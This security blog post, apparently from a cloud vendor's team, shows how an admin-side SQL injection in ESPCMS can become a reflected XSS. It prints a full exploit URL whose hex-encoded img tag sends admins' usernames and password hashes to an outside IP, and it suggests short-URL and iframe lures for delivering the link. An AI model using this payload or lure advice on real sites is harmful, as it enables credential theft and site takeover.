看似鸡肋的ESPCMS后台注入,其实可以很好玩

本文涉及的产品
云安全中心 免费版,不限时长
简介:

0x00 背景介绍

昨日,乌云漏洞平台公开了一个ESPCMS的注入漏洞,阿里云计算安全攻防对抗团队的小伙伴第一时间对漏洞做了一个影响评估。没想到需要登录到后台才可以注入,怪不得连厂商都主动忽略了该漏洞,一定是觉得利用成本比较高,难以造成更大的危害。


0x01 复现

抱着实事求是的心态,我们在测试环境搭建了一个ESPCMS尝试进行复现,从漏洞提交者的细节中可以看到,漏洞位于adminsoft\control\citylist.php内22行附近的一处整形注入,漏洞利用成功,会返回一个html页面:


4a3e58b0837ab8b97445706bb6cf589de4017012


可控的字符串出现在了html页面,没有经过加盐的MD5赤果果的回显出来,看似漏洞的危害也就局限于此。


0x02 新玩法

实际上这里我们可以使用SQL注入去构造一个“反射XSS”。实现了当管理员在登陆状态下点击黑客构造好的URL,后台密码就会发送到一个黑客指定的网站。

最终构造出的exp:


http://example.com/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 UNION select 1,2,concat(0x3c696d67207372633d22687474703a2f2f3135332e39322e34312e33312f312e7068703f613d,name,0x7c,password,0x22),4,5 FROM espcms_v6.espcms_admin_member


访问一下,页面中的源代码变成了下面这样:    


925b4142dc7a5dc54ad61277faeb6c072b9f8987


抓包查看网络请求,管理员的账号密码已经被发送到了三方网站。


c640917fc04508a52394f566b63e628ae8ab3d18


为了更好的伪装payload,可以把地址缩成一个短网址,发送给管理员邮箱并诱使他点击,或者还可以使用iframe嵌入到管理员经常访问的网站,姜太公钓鱼愿者上钩。

 

0x03 修复

 

由于官方忽略了该漏洞,也没有给出相应的修复方案,因此所有使用ESPCMS的网站都受漏洞影响。在团队小伙伴的努力之下,目前云盾“补丁管理”已率先推出针对该漏洞的自研修复补丁。阿里云用户可登录云盾控制台,访问“补丁管理”页面点击“立即修复”按钮,即可一键完成修复。

目录
相关文章
|
4月前
|
人工智能 小程序 算法
分享64个JavaGame源码总有一个是你想要的
分享64个JavaGame源码总有一个是你想要的
51 0
|
4月前
|
人工智能 Java 关系型数据库
分享66个JavaGame源码总有一个是你想要的
分享66个JavaGame源码总有一个是你想要的
70 0
|
3月前
|
JavaScript 前端开发 关系型数据库
分享66个NodeJs系统源码总有一个是你想要的
分享66个NodeJs系统源码总有一个是你想要的
37 1
|
6月前
|
存储 缓存 搜索推荐
想要快速地拥有Sitecore DXP平台!这九个开发大坑一定要避开!
随着互联网技术的深入的发展,人们对于个性化的渴望已经达到了新的阈值,这也让以数字洞察力、个性化体验为名的Sitecore DXP平台成为了品牌们竞相追捧的新宠。而在这样的需要背景下,一众新手企业纷纷投身市场,想要分一杯羹。但是经验不足的新人入场,难免会带来不少麻烦,甚至引发了人们对于Sitecore性能的质疑。
|
8月前
|
人工智能 移动开发 测试技术
你的交互文档写的好不好?一看便知!
你的交互文档写的好不好?一看便知!
80 0
|
10月前
|
消息中间件 算法 安全
开发者最怕遇到的代码报错
作为一名开发者,遇到代码报错是再平常不过的事情了。无论是在编写新代码还是修改现有代码时,都有可能出现各种各样的错误。有些错误可能只是简单的语法错误,而有些错误可能会导致整个程序无法正常运行。另外,结合阅读《实战总结|记一次消息队列堆积的问题排查》这篇文章,作者在工作中遇到的消息队列堆积的问题以及如何解决这一问题的过程,我深刻认识到了在开发过程中遇到问题准确排查的重要性,以及解决问题的策略和方法。那么接下来,就来聊一聊开发者最怕遇到的代码报错,以及如何有效地解决和避免这些问题。
218 2
开发者最怕遇到的代码报错
|
Java C语言
看似无害的代码如何搞垮系统
编程就像魔法。最近遇到一个诡异的问题:添加一段看似无害的简单代码后,系统原有功能不可用了。 ## 复现演示 jdk 8 可使用如下演示代码复现这个问题。 `TaskCenter` 是一个任务框架,可添加多个任务,随后框架将执行这些任务。 `First` 任务是新增代码,看起来简单无害,且看不出对原有任务 `Count` 有何影响,但添加 `First` 任务后,其自身执行正常,原本正常的 `C
102 0
|
前端开发 JavaScript Android开发
总会用到的前端小姿势
工作中总结的一些常见的前端问题处理方案,持续总结与记录,上班才能更愉快地摸鱼(划掉)
|
前端开发 JavaScript 中间件
挑战21天手写前端框架 day13 解析用户配置文件,将框架行为交到用户手里
挑战21天手写前端框架 day13 解析用户配置文件,将框架行为交到用户手里
112 0
挑战21天手写前端框架 day13 解析用户配置文件,将框架行为交到用户手里
|
自然语言处理 前端开发 安全
2021年了,你还在这样设计网站,会死人的啊
2021年了,你还在这样设计网站,会死人的啊
120 0